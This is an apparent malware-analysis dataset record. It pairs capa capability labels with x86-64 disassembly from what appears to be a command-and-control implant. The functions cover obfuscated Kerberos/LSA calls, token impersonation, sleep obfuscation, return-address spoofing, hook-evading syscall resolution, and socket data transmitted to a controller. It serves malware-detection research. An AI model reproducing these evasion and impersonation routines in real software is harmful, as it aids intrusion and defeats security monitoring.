joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001b9f0
Capabilities:
Print debug messages

Disassembly:
push r14
push r13
push r12
mov r12, rcx
mov ecx, 0x72
push rbp
mov ebp, r8d
push rdi
mov rdi, r9
push rsi
mov rsi, rdx
push rbx
sub rsp, 0x90
mov qword [rsp + 0x60], 0
lea r13, [rsp + 0x77]
mov dword [rsp + 0x80], 0x90008
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x54], 0xc0000001
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x77], 0
mov byte [rsp + 0x7f], 0
call sym.HideChar
mov ecx, 0x6b
mov byte [rsp + 0x7c], al
call sym.HideChar
xor ecx, ecx
mov byte [rsp + 0x77], al
call sym.HideChar
mov ecx, 0x65
mov byte [rsp + 0x7f], al
call sym.HideChar
mov ecx, 0x72
mov byte [rsp + 0x78], al
call sym.HideChar
mov ecx, 0x73
mov byte [rsp + 0x79], al
call sym.HideChar
mov ecx, 0x62
mov byte [rsp + 0x7e], al
call sym.HideChar
mov ecx, 0x6f
mov byte [rsp + 0x7a], al
call sym.HideChar
mov ecx, 0x65
mov byte [rsp + 0x7d], al
call sym.HideChar
mov qword [rsp + 0x88], r13
mov byte [rsp + 0x7b], al
test r12, r12
je 0x14001bc4d
mov rcx, r12
call sym.IsHighIntegrity
mov ebx, eax
test eax, eax
jne 0x14001bb20
lea r9, str.____Not_in_high_integrity.
mov r8d, 0x1b0
lea rdx, [0x14002e0c0]
lea rcx, [0x1400297c0]
call sym.printf.constprop.0_6
jmp 0x14001bc4f
lea r8, [rsp + 0x60]
mov edx, eax
mov rcx, r12
call sym.GetLsaHandle
mov r9d, eax
test eax, eax
js 0x14001bb40
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x14001bb56
mov r8d, 0x1b7
lea rdx, [0x14002e0c0]
lea rcx, str._DEBUG::_s::_d______GetLsaHandle__ld_n
jmp 0x14001bb8e
mov r14, qword [0x14002d650]
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x58]
mov rax, qword [r14]
call qword [rax + 0x7d0]
mov r9d, eax
test eax, eax
jns 0x14001bb98
mov r8d, 0x1be
lea rdx, [0x14002e0c0]
lea rcx, str._DEBUG::_s::_d______LsaLookupAuthenticationPackage__lx_n
call sym.DbgPrint
jmp 0x14001bc4d
mov rax, qword [r14]
lea edx, [rbp + 0x24]
mov ecx, 0x40
mov dword [rsp + 0x4c], edx
imul rdx, rdx, 0x24
call qword [rax + 0x3a8]
mov r12, rax
test rax, rax
je 0x14001bc4d
mov dword [rax], 0x15
lea rax, [rax + 0x24]
mov ecx, ebp
mov r8, r12
mov dword [rax - 8], ebp
lea rdx, [rsp + 0x54]
mov r9d, dword [rsp + 0x4c]
mov dword [rax - 4], 0x24
mov qword [rax - 0x20], rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [r14]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x5c]
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov edx, dword [rsp + 0x58]
call qword [rax + 0x7b0]
mov r8d, 0x1d5
mov r9d, eax
test eax, eax
js 0x14001bc36
mov r9d, dword [rsp + 0x54]
mov ebx, 1
test r9d, r9d
jns 0x14001bc6b
mov r8d, 0x1db
lea rdx, [0x14002e0c0]
lea rcx, str._DEBUG::_s::_d______LsaCallAuthenticationPackage:__lx_n
xor ebx, ebx
call sym.DbgPrint
jmp 0x14001bc6b
xor ebx, ebx
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14001bc79
mov rax, qword [0x14002d650]
mov rax, qword [rax]
call qword [rax + 0x7d8]
jmp 0x14001bc79
mov rax, qword [r14]
mov rcx, r12
call qword [rax + 0x3b0]
jmp 0x14001bc4f
mov rdi, r13
mov ecx, 9
xor eax, eax
rep stosb byte [rdi], al
add rsp, 0x90
mov eax, ebx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x14001bca0
Capabilities:
Print debug messages

Disassembly:
push r12
xor eax, eax
mov r12, rcx
mov ecx, 0xc
push rdi
push rsi
mov rsi, rdx
push rbx
xor ebx, ebx
sub rsp, 0xc8
lea rdi, [rsp + 0x90]
mov qword [rsp + 0x60], 0
rep stosd dword [rdi], eax
mov ecx, 0x72
mov dword [rsp + 0x80], 0x90008
lea rdi, [rsp + 0x77]
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x54], 0xc0000001
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x77], 0
mov byte [rsp + 0x7f], 0
call sym.HideChar
mov ecx, 0x6b
mov byte [rsp + 0x7c], al
call sym.HideChar
xor ecx, ecx
mov byte [rsp + 0x77], al
call sym.HideChar
mov ecx, 0x65
mov byte [rsp + 0x7f], al
call sym.HideChar
mov ecx, 0x72
mov byte [rsp + 0x78], al
call sym.HideChar
mov ecx, 0x73
mov byte [rsp + 0x79], al
call sym.HideChar
mov ecx, 0x62
mov byte [rsp + 0x7e], al
call sym.HideChar
mov ecx, 0x6f
mov byte [rsp + 0x7a], al
call sym.HideChar
mov ecx, 0x65
mov byte [rsp + 0x7d], al
call sym.HideChar
mov qword [rsp + 0x88], rdi
mov byte [rsp + 0x7b], al
test r12, r12
je 0x14001bf28
mov rcx, r12
call sym.IsHighIntegrity
mov ebx, eax
test eax, eax
jne 0x14001bdd8
lea r9, str.____Not_in_high_integrity.
mov r8d, 0x20e
lea rdx, str.Purge
lea rcx, [0x1400297c0]
call sym.printf.constprop.0_6
jmp 0x14001bf28
lea r8, [rsp + 0x60]
mov edx, eax
mov rcx, r12
call sym.GetLsaHandle
mov r9d, eax
test eax, eax
js 0x14001bdf8
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x14001be11
mov r8d, 0x215
lea rdx, str.Purge
lea rcx, str._DEBUG::_s::_d______GetLsaHandle__ld_n
jmp 0x14001bf21
mov rbx, qword [0x14002d650]
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x58]
mov rax, qword [rbx]
call qword [rax + 0x7d0]
mov r8d, 0x21c
lea rdx, str.Purge
lea rcx, str._DEBUG::_s::_d______LsaLookupAuthenticationPackage__lx_n
mov r9d, eax
test eax, eax
js 0x14001bf21
lea rdx, [rsp + 0x54]
lea rax, [0x14002990a]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x30
mov qword [rsp + 0xb8], rax
lea r8, [rsp + 0x90]
mov qword [rsp + 0xa8], rax
mov rax, qword [rbx]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x5c]
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov edx, dword [rsp + 0x58]
mov dword [rsp + 0x90], 6
mov qword [rsp + 0x94], rsi
mov dword [rsp + 0xb0], 0x10000
mov dword [rsp + 0xa0], 0x10000
call qword [rax + 0x7b0]
mov rcx, qword [rsp + 0x68]
mov r9d, eax
test rcx, rcx
je 0x14001bef3
mov dword [rsp + 0x4c], eax
mov rax, qword [rbx]
call qword [rax + 0x7e8]
mov r9d, dword [rsp + 0x4c]
mov qword [rsp + 0x68], 0
mov r8d, 0x234
test r9d, r9d
js 0x14001bf13
mov r9d, dword [rsp + 0x54]
mov ebx, 1
test r9d, r9d
jns 0x14001bf28
mov r8d, 0x23a
lea rdx, str.Purge
lea rcx, str._DEBUG::_s::_d______LsaCallAuthenticationPackage:__lx_n
call sym.DbgPrint
xor ebx, ebx
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14001bf42
mov rax, qword [0x14002d650]
mov rax, qword [rax]
call qword [rax + 0x7d8]
mov ecx, 9
xor eax, eax
rep stosb byte [rdi], al
add rsp, 0xc8
mov eax, ebx
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x14001c340
Capabilities:
Print debug messages

Disassembly:
push r12
mov r9d, ecx
push rbx
sub rsp, 0x38
mov rbx, qword [0x14002d650]
mov rax, qword [rbx]
mov rcx, qword [rax + 0x91a]
test rcx, rcx
je 0x14001c3d3
cmp qword [rcx + 0x28], 0
mov eax, dword [rcx]
mov rdx, rcx
jne 0x14001c3af
xor r12d, r12d
cmp eax, r9d
jne 0x14001c397
mov dword [rsp + 0x50], r9d
mov r12d, 1
call sym.MemFileFree
mov rax, qword [rbx]
mov r9d, dword [rsp + 0x50]
mov qword [rax + 0x91a], 0
mov dword [rsp + 0x20], r12d
mov r8d, 0x172
jmp 0x14001c3e1
mov rdx, rcx
test rax, rax
je 0x14001c3d3
mov rcx, rax
mov rax, qword [rcx + 0x28]
cmp dword [rcx], r9d
jne 0x14001c3a4
mov qword [rdx + 0x28], rax
mov r12d, 1
mov dword [rsp + 0x50], r9d
call sym.MemFileFree
mov r9d, dword [rsp + 0x50]
jmp 0x14001c3d6
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov r8d, 0x18f
lea rdx, str.RemoveMemFile
lea rcx, str._DEBUG::_s::_d__Removed_MemFile___x__:__d_n
call sym.DbgPrint
add rsp, 0x38
mov eax, r12d
pop rbx
pop r12
ret

Function at 0x14001df60
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp dword [rdx + 0x14], eax
ja 0x14001dfaa
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x14001dfa8
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x14001dfa0
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp r10d, eax
jbe 0x14001dfa0
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x14001df7e
xor eax, eax
ret
Function at 0x14001e070
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
call sym.SleepTime
mov rsi, qword [0x14002d650]
mov r8, qword [rsi]
mov edx, dword [r8 + 0xd2]
test eax, eax
je 0x14001e1c6
mov r9d, dword [r8 + 0x8ca]
mov ebx, eax
test r9d, r9d
je 0x14001e0c1
mov r8d, 0x2d8
lea rdx, str.SleepObf
lea rcx, str._DEBUG::_s::_d__Cant_sleep_obf._Threads_running:__d_n
call sym.DbgPrint
jmp 0x14001e167
cmp edx, 2
ja 0x14001e0d3
test edx, edx
je 0x14001e167
jmp 0x14001e15c
cmp edx, 3
jne 0x14001e167
mov eax, r9d
lea rdi, [rsp + 0x6c]
mov ecx, 5
xor edx, edx
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x6c]
mov rcx, rdi
call qword [r8 + 0x5e0]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14001e1c6
mov rax, qword [rsi]
mov ecx, 0x6000
mov qword [rsp + 0x20], rdi
xor r8d, r8d
lea r9, [sym.FoliageObf]
xor edx, edx
call qword [rax + 0x5f8]
mov qword [rsp + 0x78], rax
mov rcx, rax
test rax, rax
je 0x14001e151
mov rax, qword [rsi]
mov dword [rsp + 0x6c], ebx
call qword [rax + 0x5f0]
mov rax, qword [rsi]
mov rcx, qword [rsp + 0x78]
call qword [rax + 0x600]
mov rax, qword [rsi]
call qword [rax + 0x5e8]
jmp 0x14001e1c6
mov ecx, eax
call sym.TimerObf
test eax, eax
jne 0x14001e1c6
mov rax, qword [rsi]
or r9, 0xffffffffffffffff
mov rcx, qword [rax + 0x852]
mov r8, qword [rax + 0x6a8]
movsxd rax, dword [rcx + 0x3c]
mov edx, dword [rcx + rax + 0x50]
mov eax, ebx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call sym.SpoofRetAddr
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
ret
Function at 0x14001e350
Capabilities:
Print debug messages

Disassembly:
push r14
lea r14, str._DEBUG::_s::_d__ioctlsocket_failed:__d_n
push r13
lea r13, str.SocketClients
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rdi, qword [0x14002d650]
mov dword [rsp + 0x5c], 1
lea rbp, [rsp + 0x5c]
mov rax, qword [rdi]
mov rbx, qword [rax + 0x922]
test rbx, rbx
je 0x14001e4ae
cmp dword [rbx + 0x14], 0
jne 0x14001e4a5
cmp dword [rbx + 0x10], 1
jne 0x14001e4a5
mov rax, qword [rdi]
mov rcx, qword [rbx + 8]
xor r8d, r8d
xor edx, edx
call qword [rax + 0x778]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14001e4a5
mov rax, qword [rdi]
mov r8, rbp
mov edx, 0x8004667e
mov rcx, r12
call qword [rax + 0x760]
inc eax
je 0x14001e47a
mov eax, dword [rbx]
mov r9d, dword [rbx + 0x18]
mov r8d, 1
mov rcx, r12
mov edx, 3
mov dword [rsp + 0x40], eax
mov eax, dword [rbx + 0x30]
mov dword [rsp + 0x38], eax
mov eax, dword [rbx + 0x2c]
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 0x28]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], eax
call sym.SocketNew
mov ecx, 0x9ec
mov rsi, rax
call sym.PackageCreate
mov edx, 0x10
mov rcx, rax
mov r12, rax
call sym.PackageAddInt32
mov edx, dword [rsi]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rsi + 0x18]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rsi + 0x28]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rsi + 0x2c]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [rsi + 0x30]
mov rcx, r12
call sym.PackageAddInt32
mov rcx, r12
call sym.PackageTransmit
jmp 0x14001e4a5
mov rax, qword [rdi]
mov rcx, r14
mov r8d, 0x10c
mov rdx, r13
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
call sym.DbgPrint
mov rax, qword [rdi]
mov rcx, r12
call qword [rax + 0x780]
mov rbx, qword [rbx + 0x38]
jmp 0x14001e38a
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x14001e4c0
Capabilities:
Print debug messages

Disassembly:
push r13
lea rdx, str.SocketFree
mov r8d, 0x1ad
push r12
mov r12, rcx
push rdi
sub rsp, 0x20
mov r9d, dword [rcx]
lea rcx, str._DEBUG::_s::_d__Closing_socket__x_n
call sym.DbgPrint
mov eax, dword [r12 + 0x10]
mov edx, eax
and edx, 0xfffffffd
dec edx
jne 0x14001e557
mov ecx, 0x9ec
call sym.PackageCreate
mov edx, 4
mov rcx, rax
mov r13, rax
call sym.PackageAddInt32
mov edx, dword [r12]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [r12 + 0x10]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [r12 + 0x18]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [r12 + 0x28]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [r12 + 0x2c]
mov rcx, r13
call sym.PackageAddInt32
mov edx, dword [r12 + 0x30]
jmp 0x14001e587
cmp eax, 2
jne 0x14001e597
mov ecx, 0x9ec
call sym.PackageCreate
mov edx, 0x13
mov rcx, rax
mov r13, rax
call sym.PackageAddInt32
mov edx, dword [r12]
mov rcx, r13
call sym.PackageAddInt32
mov edx, 2
mov rcx, r13
call sym.PackageAddInt32
mov rcx, r13
call sym.PackageTransmit
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14001e5ba
mov rax, qword [0x14002d650]
mov rax, qword [rax]
call qword [rax + 0x780]
mov qword [r12 + 8], 0
mov rdi, r12
mov ecx, 0x40
xor eax, eax
rep stosb byte [rdi], al
add rsp, 0x20
mov rcx, r12
pop rdi
pop r12
pop r13
jmp sym.MmHeapFree
Function at 0x14001f1f0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r10, rcx
xor eax, eax
mov ecx, 0xc
push rdi
sub rsp, 0x78
lea rdi, [rsp + 0x40]
mov dword [rsp + 0x3c], 0
rep stosd dword [rdi], eax
mov dword [rsp + 0x34], 0xc
mov dword [rsp + 0x38], r9d
mov dword [rsp + 0x40], 0x30
test r8, r8
je 0x14001f243
xor eax, eax
cmp dword [r8 + 0x10], 0
setne al
add eax, eax
mov dword [rsp + 0x58], eax
mov rax, qword [r8 + 8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x34]
xor r9d, r9d
lea r8, [rsp + 0x40]
mov rcx, r10
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x20], eax
call sym.SysNtDuplicateToken
mov r12d, eax
mov eax, 1
test r12d, r12d
jns 0x14001f2cd
mov rdi, qword [0x14002d650]
mov ecx, r12d
mov rax, qword [rdi]
call qword [rax + 0x160]
mov r9d, r12d
mov r8d, 0x190
lea rdx, str.SysDuplicateTokenEx
mov dword [rsp + 0x20], eax
lea rcx, str._DEBUG::_s::_d__NtDuplicateToken:_Failed:__08x_:__ld__n
call sym.DbgPrint
mov rax, qword [rdi]
mov ecx, r12d
mov rdi, qword [rax + 0x8c2]
call qword [rax + 0x160]
mov dword [rdi + 0x68], eax
xor eax, eax
add rsp, 0x78
pop rdi
pop r12
ret

Function at 0x14001f2e0
Capabilities:
Print debug messages

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
jne 0x14001f30f
lea r9, str.Function_address_is_not_defined
mov r8d, 0x68
lea rdx, str.SysExtract
lea rcx, [0x14002abc0]
call sym.printf.constprop.0_12
jmp 0x14001f342
mov r10d, edx
mov rdx, r8
xor r8d, r8d
mov rbx, rcx
mov rax, rdx
mov rsi, r9
or rax, r9
jne 0x14001f353
mov r9, rcx
mov r8d, 0x6e
lea rdx, str.SysExtract
lea rcx, str._DEBUG::_s::_d__No_Ssn_and_SysAddr_pointers_set_for_function_at_0x_p_n
call sym.DbgPrint
xor r12d, r12d
jmp 0x14001f434
cmp r9b, 0x4c
je 0x14001f365
inc r8d
mov ecx, r8d
lea rax, [rbx + rcx]
mov r9, qword [rax]
cmp r9b, 0xc3
jne 0x14001f34a
jmp 0x14001f3c3
cmp byte [rbx + rcx + 1], 0x8b
jne 0x14001f350
cmp byte [rbx + rcx + 2], 0xd1
jne 0x14001f350
cmp byte [rbx + rcx + 3], 0xb8
jne 0x14001f350
xor r12d, r12d
test rdx, rdx
je 0x14001f39f
movzx r9d, byte [rbx + rcx + 5]
movzx r8d, byte [rbx + rcx + 4]
mov r12d, 1
shl r9d, 8
or r8d, r9d
mov word [rdx], r8w
test rsi, rsi
je 0x14001f3c6
lea rcx, [rbx + rcx + 0x1e]
cmp word [rax], 0x50f
jne 0x14001f3bb
mov qword [rsi], rax
mov r12d, 1
jmp 0x14001f3c6
inc rax
cmp rcx, rax
jne 0x14001f3a9
xor r12d, r12d
test r12b, 1
jne 0x14001f3e3
test rdx, rdx
je 0x14001f3e3
test r10d, r10d
je 0x14001f42f
mov rcx, rbx
call sym.FindSsnOfHookedSyscall
mov r12d, eax
jmp 0x14001f42f
test r12d, r12d
jne 0x14001f434
test rdx, rdx
je 0x14001f409
mov r9, rbx
mov r8d, 0xb8
lea rdx, str.SysExtract
lea rcx, str._DEBUG::_s::_d__Could_not_resolve_the_Ssn_of_function_at_0x_p_n
call sym.DbgPrint
xor r12d, r12d
test rsi, rsi
je 0x14001f434
mov r9, rbx
mov r8d, 0xbc
lea rdx, str.SysExtract
lea rcx, str._DEBUG::_s::_d__Could_not_resolve_the_SysAddr_of_function_at_0x_p_n
call sym.DbgPrint
jmp 0x14001f434
test r12d, r12d
je 0x14001f3ed
add rsp, 0x20
mov eax, r12d
pop rbx
pop rsi
pop r12
ret
Function at 0x14001f440
Capabilities:
Print debug messages

Disassembly:
push r12
xor eax, eax
mov r12, rcx
mov ecx, 3
push rdi
mov r9d, 4
mov edx, 8
push rbx
sub rsp, 0x90
lea rdi, [rsp + 0x54]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x48], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 0xc
mov dword [rsp + 0x40], 0
rep stosd dword [rdi], eax
lea rax, [rsp + 0x44]
mov rcx, r12
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], rax
call sym.SysNtQueryInformationToken
test eax, eax
jns 0x14001f4e4
mov r9d, eax
mov rax, qword [0x14002d650]
mov ecx, r9d
mov dword [rsp + 0x3c], r9d
mov rax, qword [rax]
call qword [rax + 0x160]
mov r9d, dword [rsp + 0x3c]
mov r8d, 0x514
lea rdx, str.SysImpersonateLoggedOnUser
mov dword [rsp + 0x20], eax
lea rcx, str._DEBUG::_s::_d__NtQueryInformationToken:_Failed:__08x_:__ld__n
jmp 0x14001f5de
cmp dword [rsp + 0x40], 1
lea rbx, [rsp + 0x48]
jne 0x14001f577
mov qword [rsp + 0x28], rbx
mov eax, 0x80000003
xor r9d, r9d
mov rcx, r12
shl rax, 2
lea r8, [rsp + 0x60]
mov dword [rsp + 0x20], 2
mov edx, 0xc
mov qword [rsp + 0x54], rax
lea rax, [rsp + 0x54]
mov edi, 1
mov word [rsp + 0x5c], 1
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rax
call sym.SysNtDuplicateToken
mov r8d, eax
xor eax, eax
test r8d, r8d
jns 0x14001f57e
jmp 0x14001f5e5
mov qword [rsp + 0x48], r12
xor edi, edi
mov r8, rbx
mov r9d, 8
mov edx, 5
mov rcx, 0xfffffffffffffffe
call sym.SysNtSetInformationThread
mov ebx, eax
test edi, edi
je 0x14001f5a8
mov rcx, qword [rsp + 0x48]
call sym.SysNtClose
mov eax, 1
test ebx, ebx
jns 0x14001f5e5
mov rax, qword [0x14002d650]
mov ecx, ebx
mov rax, qword [rax]
call qword [rax + 0x160]
mov r9d, ebx
mov r8d, 0x54a
lea rdx, str.SysImpersonateLoggedOnUser
mov dword [rsp + 0x20], eax
lea rcx, str._DEBUG::_s::_d__NtSetInformationThread:_Failed:__08x_:__ld__n
call sym.DbgPrint
xor eax, eax
add rsp, 0x90
pop rbx
pop rdi
pop r12
ret
Function at 0x140020340
Capabilities:
Print debug messages

Disassembly:
push r12
mov r12, rcx
sub rsp, 0x40
mov rax, qword [0x14002d650]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rax]
cmp dword [rax + 0xde], 0
je 0x1400203b1
mov rcx, qword [rax + 0x7f8]
test rcx, rcx
je 0x1400203b1
mov r8w, word [rax + 0x834]
test r8w, r8w
je 0x1400203b1
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rdx
mov word [rsp + 0x38], r8w
call sym.SysSetConfig
mov rdx, qword [rsp + 0x58]
mov rcx, r12
call sym.SysInvoke
jmp 0x1400203ba
mov rcx, r12
call qword [rax + 0x2c0]
mov dword [rsp + 0x20], eax
mov r8d, 0x16d
lea r9, [0x14002aae9]
lea rdx, str.SysNtAlertResumeThread
lea rcx, str._DEBUG::_s::_d___s__..._____08x_n
mov r12d, eax
call sym.DbgPrint
add rsp, 0x40
mov eax, r12d
pop r12
ret

Function at 0x1400203f0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r12, rcx
push rsi
push rbx
sub rsp, 0x40
mov rax, qword [0x14002d650]
mov qword [rsp + 0x30], 0
mov ebx, dword [rsp + 0x80]
mov rax, qword [rax]
mov esi, dword [rsp + 0x88]
mov qword [rsp + 0x38], 0
cmp dword [rax + 0xde], 0
je 0x14002048d
mov rcx, qword [rax + 0x7f8]
test rcx, rcx
je 0x14002048d
mov r10w, word [rax + 0x826]
test r10w, r10w
je 0x14002048d
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x78], r9
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x68], rdx
mov word [rsp + 0x38], r10w
call sym.SysSetConfig
mov dword [rsp + 0x28], esi
mov r9, qword [rsp + 0x78]
mov rcx, r12
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov dword [rsp + 0x20], ebx
call sym.SysInvoke
jmp 0x14002049e
mov dword [rsp + 0x28], esi
mov rcx, r12
mov dword [rsp + 0x20], ebx
call qword [rax + 0x280]
mov dword [rsp + 0x20], eax
mov r8d, 0x10e
lea r9, [0x14002aa56]
lea rdx, str.SysNtAllocateVirtualMemory
lea rcx, str._DEBUG::_s::_d___s__..._____08x_n
mov r12d, eax
call sym.DbgPrint
add rsp, 0x40
mov eax, r12d
pop rbx
pop rsi
pop r12
ret

Function at 0x1400204e0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r12, rcx
sub rsp, 0x40
mov rax, qword [0x14002d650]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rax]
cmp dword [rax + 0xde], 0
je 0x140020544
mov rdx, qword [rax + 0x7f8]
test rdx, rdx
je 0x140020544
mov cx, word [rax + 0x840]
test cx, cx
je 0x140020544
mov word [rsp + 0x38], cx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rdx
call sym.SysSetConfig
mov rcx, r12
call sym.SysInvoke
jmp 0x14002054d
mov rcx, r12
call qword [rax + 0x1c8]
mov dword [rsp + 0x20], eax
mov r8d, 0x1c3
lea r9, [0x14002ab70]
lea rdx, str.SysNtClose
lea rcx, str._DEBUG::_s::_d___s__..._____08x_n
mov r12d, eax
call sym.DbgPrint
add rsp, 0x40
mov eax, r12d
pop r12
ret
Function at 0x140020580
Capabilities:
Print debug messages

Disassembly:
push r12
mov r12, rcx
push rbx
sub rsp, 0x48
mov rax, qword [0x14002d650]
mov qword [rsp + 0x30], 0
movzx ebx, byte [rsp + 0x80]
mov qword [rsp + 0x38], 0
mov rax, qword [rax]
cmp dword [rax + 0xde], 0
je 0x140020610
mov rcx, qword [rax + 0x7f8]
test rcx, rcx
je 0x140020610
mov r10w, word [rax + 0x816]
test r10w, r10w
je 0x140020610
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x78], r9d
mov qword [rsp + 0x70], r8
mov dword [rsp + 0x68], edx
mov word [rsp + 0x38], r10w
call sym.SysSetConfig
mov dword [rsp + 0x20], ebx
mov edx, dword [rsp + 0x68]
mov rcx, r12
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
call sym.SysInvoke
jmp 0x14002061d
mov dword [rsp + 0x20], ebx
mov rcx, r12
call qword [rax + 0x238]
mov dword [rsp + 0x20], eax
mov r8d, 0x8a
lea r9, [0x14002a9b6]
lea rdx, str.SysNtCreateEvent
lea rcx, str._DEBUG::_s::_d___s__..._____08x_n
mov r12d, eax
call sym.DbgPrint
add rsp, 0x48
mov eax, r12d
pop rbx
pop r12
ret

Function at 0x140020650
Capabilities:
Print debug messages

Disassembly:
push r15
mov r15, rcx
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rax, qword [0x14002d650]
mov qword [rsp + 0x60], 0
mov r12, qword [rsp + 0xe0]
mov rax, qword [rax]
mov rbx, qword [rsp + 0xe8]
mov qword [rsp + 0x68], 0
mov esi, dword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
cmp dword [rax + 0xde], 0
mov rbp, qword [rsp + 0x100]
mov r13, qword [rsp + 0x108]
mov r14, qword [rsp + 0x110]
je 0x14002074c
mov rcx, qword [rax + 0x7f8]
test rcx, rcx
je 0x14002074c
mov r10w, word [rax + 0x818]
test r10w, r10w
je 0x14002074c
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xd8], r9
mov qword [rsp + 0xd0], r8
mov dword [rsp + 0xc8], edx
mov word [rsp + 0x68], r10w
call sym.SysSetConfig
mov qword [rsp + 0x50], r14
mov rcx, r15
mov r9, qword [rsp + 0xd8]
mov qword [rsp + 0x48], r13
mov r8, qword [rsp + 0xd0]
mov qword [rsp + 0x40], rbp
mov edx, dword [rsp + 0xc8]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call sym.SysInvoke
jmp 0x140020777
mov qword [rsp + 0x50], r14
mov rcx, r15
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call qword [rax + 0x240]
mov dword [rsp + 0x20], eax
mov r8d, 0x9f
lea r9, [0x14002a9c4]
lea rdx, str.SysNtCreateThreadEx
lea rcx, str._DEBUG::_s::_d___s__..._____08x_n
mov r12d, eax
call sym.DbgPrint
add rsp, 0x78
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret